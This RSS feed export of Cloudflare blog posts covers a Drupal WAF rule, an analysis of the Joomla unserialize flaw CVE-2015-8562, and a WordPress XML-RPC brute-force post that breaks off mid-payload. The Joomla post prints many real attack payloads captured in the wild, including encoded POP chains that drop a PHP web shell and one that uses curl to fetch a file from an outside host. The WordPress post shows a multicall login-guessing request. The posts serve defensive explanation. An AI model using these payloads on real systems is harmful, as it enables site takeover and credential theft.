
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Sat, 04 Apr 2026 14:50:15 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Cloudflare is adding Drupal WAF Rule to Mitigate Critical Drupal Exploit]]></title>
            <link>https://blog.cloudflare.com/drupal-waf-rule-mitigate-critical-exploit/</link>
            <pubDate>Thu, 29 Mar 2018 04:10:38 GMT</pubDate>
            <description><![CDATA[ Drupal has recently announced an update to fix a critical remote code execution exploit (SA-CORE-2018-002/CVE-2018-7600). This patch is to disallow forms and form fields from starting with the “#” character. ]]></description>
            <content:encoded><![CDATA[ <p>Drupal has recently announced an update to fix a critical remote code execution exploit (<a href="https://www.drupal.org/sa-core-2018-002">SA-CORE-2018-002/CVE-2018-7600</a>). In response we have just pushed out a rule to block requests matching these exploit conditions for our <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">Web Application Firewall (WAF)</a>. You can find this rule in the Cloudflare ruleset in your dashboard under the Drupal category with the rule ID of D0003.</p><p>Drupal Advisory: <a href="https://www.drupal.org/sa-core-2018-002">https://www.drupal.org/sa-core-2018-002</a></p> ]]></content:encoded>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF]]></category>
            <guid isPermaLink="false">6Ni9TZK3zxYzUVGgOSzJZG</guid>
            <dc:creator>Pasha Kravtsov</dc:creator>
        </item>
        <item>
            <title><![CDATA[A Different Kind of POP: The Joomla Unserialize Vulnerability]]></title>
            <link>https://blog.cloudflare.com/the-joomla-unserialize-vulnerability/</link>
            <pubDate>Thu, 17 Dec 2015 18:05:00 GMT</pubDate>
            <description><![CDATA[ At CloudFlare, we spend a lot of time talking about the PoPs (Points of Presence) we have around the globe, however, on December 14th, another kind of POP came to the world: a vulnerability being exploited in the wild against Joomla’s Content Management System. ]]></description>
            <content:encoded><![CDATA[ <p>At CloudFlare, we spend a lot of time talking about the PoPs (Points of Presence) we have around the globe, however, on December 14th, another kind of POP came to the world: a vulnerability being exploited in the wild against Joomla’s Content Management System. This is known as a zero day attack, where it has been zero days since a patch has been released for that bug. A CVE ID has been issued for this particular vulnerability as <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8562">CVE-2015-8562</a>. Jaime Cochran and I decided to take a closer look.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1JFk6wEd8uVYQDXsCuufJL/9d1fe3c4f8e8622cc4ce44d58f67df6d/joomla-unserialize-vulnerability.png" />
            
            </figure><p>In this blog post we’ll explain what the vulnerability is, give examples of actual attack payloads we’ve seen, and show how CloudFlare automatically protects Joomla users. If you are using Joomla with CloudFlare today and have our WAF enabled, you are already protected.</p><p>The Joomla Web Application Firewall rule set is enabled by default for CloudFlare customers with a Pro or higher plan, which blocks this attack. You can find it in the Joomla section of the CloudFlare Rule Set in the WAF Dashboard.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4hZkDzu55IzpvOOEgmEOQW/34407e9bae59e2a5b549917ba88feebe/waf-rule-for-joomla-unserialize-vuln.png" />
            
            </figure>
    <div>
      <h3>What is Joomla?</h3>
      <a href="#what-is-joomla">
        
      </a>
    </div>
    <p><a href="https://www.joomla.org/">Joomla</a> is an open source Content Management System which allows you to build web applications and control every aspect of the content of your website. Some of these resources include photos, videos, text, and documents to name just a few. As one can imagine, this is a high value target if an attacker can gain access to the admin control panel.</p>
    <div>
      <h3>The Unserialize Vulnerability</h3>
      <a href="#the-unserialize-vulnerability">
        
      </a>
    </div>
    <p>The vulnerability is a bug class that is inherent in most languages including Java, Python’s pickle, C’s unmarshalling, Ruby (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0333">CVE-2013-0333</a>), and many others. This class of vulnerability is not new but has recently piqued the security world’s interest after an excellent <a href="http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/">blog written by @breenmachine</a> was published. Like many vulnerabilities in CMS/framework software, remote code execution is achieved, meaning a usually unauthenticated attacker can execute arbitrary code from afar, leading to the acquisition of sensitive information, a shell, and eventually a full system compromise.</p><p>So how is remote code execution achieved? There are two poorly sanitized inputs that can be controlled by a user, one being the <code>User-Agent</code> header and the other being the <code>X-Forwarded-For</code> header, which are then stored as part of the <code>session.client.browser</code> and <code>session.client.forwarded</code> objects, serialized, and inserted in Joomla’s MySQL database.</p><p>These request headers must contain malicious data known as a "POP Chain" (Property Oriented Programming). POP chains, similar to their older cousin ROP (Return Oriented Programming) are constructed of a series of “magic PHP methods” that already exist in the code, which is why these kinds of attacks are often referred to as code reuse. An attacker must link these methods together in order to achieve their desired code execution.</p><p>The POP chain is then sent from the attacker in either the <code>User-Agent</code> or <code>X-Forwarded-For header</code>, the attacker saves the session cookie that is returned upon completion of the request. From what we have noticed, most of these POP chains run <code>eval()</code> on the POST data, but not all of them, as you can also run a <code>chr()</code> encoded string into <code>eval()</code> that will execute all the bad PHP calls: <code>system()</code>, <code>popen()</code>, <code>exec()</code>, <code>passthru()</code>, <code>shell_exec()</code>, etc. Here is an example of part of the exploit payload:</p>
            <pre><code>eval(base64_decode($_POST[111]))</code></pre>
            <p>Now, you may be wondering how this is exploited if the initial request isn’t a POST request. That is the next part of the exploit, after grabbing the session cookie value, the attacker sends a subsequent request with the session cookie set. The previous request’s <code>User-Agent</code> or <code>X-Forwarded-For</code> header was inserted into the MySQL database and is unserialized on the subsequent request. The trick is appending four UTF-8 characters to the end of the payload (such as: <code>\xf0\xfd\xfd\xfd</code>) which will truncate the payload, allowing the code to execute. Crafting a successful payload also involves calculating the size of the payload and inserting it before the eval() as such:</p>
            <pre><code>s:221:"eval(base64_decode($_POST[111]))</code></pre>
            <p>or the exploit will fail. We have been able to successfully exploit both the vulnerable headers, using multiple variations of POP chains in our test environment.</p><p>More importantly, we’ve been able to block them too.</p>
    <div>
      <h3>The Vulnerable Code</h3>
      <a href="#the-vulnerable-code">
        
      </a>
    </div>
    <p>In this section, we’ll go through the code path taken to exploit this vulnerability starting with <a href="https://github.com/joomla/joomla-cms/blob/3.5-dev/libraries/joomla/session/session.php">session.php</a>, where sessions are created. If you look at lines 909 and 932, you will see that the unsanitized <code>User-Agent</code> and <code>X-Forwarded-For</code> headers are set to <code>session.client.browser</code> and <code>session.client.forwarded</code>.</p>
            <pre><code>909: if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
910: {
911:        $this-&gt;set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
912: }
					

&lt;--&gt;

932: if (in_array('fix_browser', $this-&gt;_security) &amp;&amp; isset($_SERVER['HTTP_USER_AGENT']))
933: {
934:			$browser = $this-&gt;get('session.client.browser');
935:       if ($browser === null)
936:       {
937:	 		$this-&gt;set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
938:       }</code></pre>
            <p>PHP has a unique way of handling sessions, which actually serializes and deserializes session objects: <a href="http://php.net/manual/en/function.session-set-save-handler.php">PHP’s session handler object</a> is created and saved here:</p>
            <pre><code>public function write($id, $data)

{

	try

	{

		$query = $this-&gt;db-&gt;getQuery(true);

		$query-&gt;update($this-&gt;db-&gt;quoteName('#__session'))

		-&gt;set($this-&gt;db-&gt;quoteName('data') . ' = ' . $this-&gt;db-&gt;quote($data))

		-&gt;set($this-&gt;db-&gt;quoteName('time') . ' = ' . $this-&gt;db-&gt;quote((int) time()))

		-&gt;where($this-&gt;db-&gt;quoteName('session_id') . ' = ' . $this-&gt;db-&gt;quote($id));

		// Try to update the session data in the database table.

		$this-&gt;db-&gt;setQuery($query);

		if (!$this-&gt;db-&gt;execute())

		{

			return false;

		}

		// Since $this-&gt;db-&gt;execute did not throw an exception the query was successful.

		// Either the data changed, or the data was identical. In either case we are done.

		return true;

	}

	catch (\Exception $e)

	{

		return false;

	}

}</code></pre>
            <p>and then popped from the database here:</p>
            <pre><code>public function read($id)
	  {
		  // Get the database connection object and verify its connected.
		  $db = JFactory::getDbo();
		  try
		  {
			  // Get the session data from the database table.
			  $query = $db-&gt;getQuery(true)
				  -&gt;select($db-&gt;quoteName('data'))
			  -&gt;from($db-&gt;quoteName('#__session'))
			  -&gt;where($db-&gt;quoteName('session_id') . ' = ' . $db-&gt;quote($id));
			  $db-&gt;setQuery($query);
			  $result = (string) $db-&gt;loadResult();
			  $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
			  return $result;
		  }
		  catch (Exception $e)
		  {
			  return false;
		  }
	  }</code></pre>
            <p>As per the PHP documentation: "The value returned will be unserialized automatically by PHP and used to populate the <code>$_SESSION</code> superglobal." So the <code>session_id</code> is pulled from the database, unserialized, and if the POP chain was constructed correctly, it will execute the malicious code.</p>
    <div>
      <h3>What we see with our Web Application Firewall</h3>
      <a href="#what-we-see-with-our-web-application-firewall">
        
      </a>
    </div>
    <p>After writing a ruleset specifically to block this attack and making it block by default for all our customers, we saw a very large number of requests that triggered the ruleset. This shows malicious actors trying to directly exploit Joomla installs:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/vnyQCbeUmTjjCER4Kj4V0/118d18d8729cca6ab8216b9bb85bb603/waf-activity-of-joomla-unserialize-vuln.png" />
            
            </figure><p>As you can see, the amount of requests that have been blocked spike greatly when public exploits were released. Here is a small sample of the different payloads we’re seeing since public exploits were released a day ago:</p>
            <pre><code>[ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ellyel8'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?



 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?


 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?


[ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?

 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?

 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?

 [ Payload ]:   }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?

 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?


 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?

 [ Payload ]:   }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:954:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(112).chr(111).chr(110).chr(101).chr(110).chr(116).chr(115).chr(59).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(95).chr(109).chr(101).chr(100).chr(105).chr(97).chr(59).chr(114).chr(109).chr(32).chr(45).chr(114).chr(102).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(99).chr(117).chr(114).chr(108).chr(32).chr(45).chr(79).chr(32).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(116).chr(105).chr(112).chr(116).chr(111).chr(112).chr(99).chr(111).chr(109).chr(46).chr(116).chr(118).chr(47).chr(98).chr(108).chr(111).chr(103).chr(47).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(109).chr(118).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(32).chr(97).chr(106).chr(97).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}

 [ Payload ]:   }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:954:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(112).chr(111).chr(110).chr(101).chr(110).chr(116).chr(115).chr(59).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(95).chr(109).chr(101).chr(100).chr(105).chr(97).chr(59).chr(114).chr(109).chr(32).chr(45).chr(114).chr(102).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(99).chr(117).chr(114).chr(108).chr(32).chr(45).chr(79).chr(32).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(116).chr(105).chr(112).chr(116).chr(111).chr(112).chr(99).chr(111).chr(109).chr(46).chr(116).chr(118).chr(47).chr(98).chr(108).chr(111).chr(103).chr(47).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(109).chr(118).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(32).chr(97).chr(106).chr(97).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}

 [ Payload ]:   sjeua}__eusmxa|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:61:"eval(base64_decode($_POST[1111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}

 [ Payload ]:   sjeua}__eusmxa|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:61:"eval(base64_decode($_POST[1111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}


 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?


 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?

 [ Payload ]:   }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:59:"eval(base64_decode($_POST[200]));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?</code></pre>
            <p>As you can see, there are a few different payloads being used. Specifically, the payloads using <code>chr()</code> in <code>eval()</code> are from the <a href="http://pastebin.com/PRiK0SWL">public exploit released on PasteBin</a> yesterday, December 15th, along with a metasploit module. Some payloads translate to:</p>
            <pre><code>system('cd components;cd com_media;rm -rf k.txt;curl -O http://tiptopcom.tv/blog/k.txt;mv k.txt ajax.php');</code></pre>
            <p>This is a simple example where an attacker tries to find a writable directory, retrieves a malicious file from a remote (most likely a compromised computer) and disguises it as a seemingly innocuous PHP file. The file is known as a webshell and gives the attacker a way to easily execute code and a very small amount of persistence. But, this is only a very basic example of what an attacker might do.</p><p>We have found some payloads that classically extract credentials from the Joomla configuration file or attempt to spawn a connectback shell, which is a technique that makes the target computer send an outbound connection to an attacker controlled computer, allowing them to operate as if they had terminal access to the computer. This is often used when a target does not have an attacker-friendly environment (such as properly jailed user accounts and read-only directories). The original zero day was using a webshell dropping payload that cleverly patched the <code>User-Agent</code> bug behind itself.</p><p>Since the first public exploit was released, our WAF has blocked 16,413 attacks and counting.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Joomla]]></category>
            <category><![CDATA[Programming]]></category>
            <guid isPermaLink="false">1UuPRoiC85hckUH7JESUWq</guid>
            <dc:creator>Pasha Kravtsov</dc:creator>
        </item>
        <item>
            <title><![CDATA[A Look at the New WordPress Brute Force Amplification Attack]]></title>
            <link>https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/</link>
            <pubDate>Fri, 16 Oct 2015 17:14:32 GMT</pubDate>
            <description><![CDATA[ Recently, a new brute force attack method for WordPress instances was identified by Sucuri. This latest technique allows attackers to try a large number of WordPress username and password login combinations in a single HTTP request. ]]></description>
            <content:encoded><![CDATA[ <p>Recently, a new brute force attack method for WordPress instances was identified by Sucuri. This latest technique allows attackers to try a large number of WordPress username and password login combinations in a single HTTP request.</p><p>The vulnerability can easily be abused by a simple script to try a significant number of username and password combinations with a relatively small number of HTTP requests. The following diagram shows a 4-fold increase in login attempts to HTTP requests, but this can trivially be expanded to a thousand logins.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6jdeVX3b5JHTMwZvY4J7wY/3db3519b348381101ef3bdd943e6e636/wordpress-xmlrpc-brute-force-amplification.png" />
            
            </figure><p>This form of brute force attack is harder to detect, since you won’t necessarily see a flood of requests. Fortunately, all CloudFlare paid customers have the option to enable a Web Application Firewall ruleset to stop this new attack method.</p>
    <div>
      <h3>What is XML-RPC?</h3>
      <a href="#what-is-xml-rpc">
        
      </a>
    </div>
    <p>To understand the vulnerability, it’s important to understand the basics of the XML remote procedure protocol (XML-RPC).</p><p>XML-RPC uses XML encoding over HTTP to provide a remote procedure call protocol. It’s commonly used to execute various <a href="https://codex.wordpress.org/XML-RPC_WordPress_API">functions in a WordPress instance</a> for APIs and other automated tasks. Requests that modify, manipulate, or view data using XML-RPC require user credentials with sufficient permissions.</p><p>Here is an example that requests a list of the user’s blogs:</p>
            <pre><code>&lt;?xml version="1.0" encoding="iso-8859-1"?&gt;
&lt;methodCall&gt;
&lt;methodName&gt;wp.getUsersBlogs&lt;/methodName&gt;
&lt;params&gt;
 &lt;param&gt;
  &lt;value&gt;
   &lt;string&gt;admin&lt;/string&gt;
  &lt;/value&gt;
 &lt;/param&gt;
 &lt;param&gt;
  &lt;value&gt;
   &lt;string&gt;password123&lt;/string&gt;
  &lt;/value&gt;
 &lt;/param&gt;
&lt;/params&gt;
&lt;/methodCall&gt;</code></pre>
            <p>The server responds with an XML message containing the requested information. The <code>isAdmin</code> name-value pair tells us our credentials were correct:</p>
            <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;methodResponse&gt;
&lt;params&gt;
	&lt;param&gt;
	  &lt;value&gt;
	  &lt;array&gt;&lt;data&gt;
	  &lt;value&gt;&lt;struct&gt;
	  &lt;member&gt;
		&lt;name&gt;isAdmin&lt;/name&gt;
		&lt;value&gt;&lt;boolean&gt;1&lt;/boolean&gt;&lt;/value&gt;
	  &lt;/member&gt;
	  &lt;member&gt;
		&lt;name&gt;url&lt;/name&gt;
		&lt;value&gt;&lt;string&gt;http://example.com/&lt;/string&gt;&lt;/value&gt;
	  &lt;/member&gt;
	  &lt;member&gt;
		&lt;name&gt;blogid&lt;/name&gt;
		&lt;value&gt;&lt;string&gt;1&lt;/string&gt;&lt;/value&gt;
	  &lt;/member&gt;
	  &lt;member&gt;
		&lt;name&gt;blogName&lt;/name&gt;
		&lt;value&gt;&lt;string&gt;testing&lt;/string&gt;&lt;/value&gt;
	  &lt;/member&gt;
	  &lt;member&gt;
		&lt;name&gt;xmlrpc&lt;/name&gt;
		&lt;value&gt;&lt;string&gt;http://example.com/xmlrpc.php&lt;/string&gt;&lt;/value&gt;
	  &lt;/member&gt;
	  &lt;/struct&gt;&lt;/value&gt;
	  &lt;/data&gt;&lt;/array&gt;
	  &lt;/value&gt;
	&lt;/param&gt;
&lt;/params&gt;
&lt;/methodResponse&gt;</code></pre>
            <p>As shown in this request, you must provide proper authentication to get a successful response. You can, in theory, create a script that tries different combinations of the username and password, but that is a noisy option that isn’t very effective and is easily detected (the server logs would show a flood of failed login attempts).</p><p>This is where the <code>system.multicall</code> functionality comes into play. You can run multiple methods with a single HTTP request. This is useful for mass editing blogs or deleting large numbers of comments, etc. Any method that requires authentication can be abused to brute force credentials. Here is what a sample XML <code>system.multicall</code> payload would look like:</p>
            <pre><code>&lt;?xml version="1.0"?&gt;
&lt;methodCall&gt;
&lt;methodName&gt;system.multicall&lt;/methodName&gt;
&lt;params&gt;
  &lt;param&gt;&lt;value&gt;&lt;array&gt;&lt;data&gt;
  &lt;value&gt;&lt;struct&gt;
  &lt;member&gt;
	&lt;name&gt;methodName&lt;/name&gt;
	&lt;value&gt;&lt;string&gt;wp.getUsersBlogs&lt;/string&gt;&lt;/value&gt;
  &lt;/member&gt;
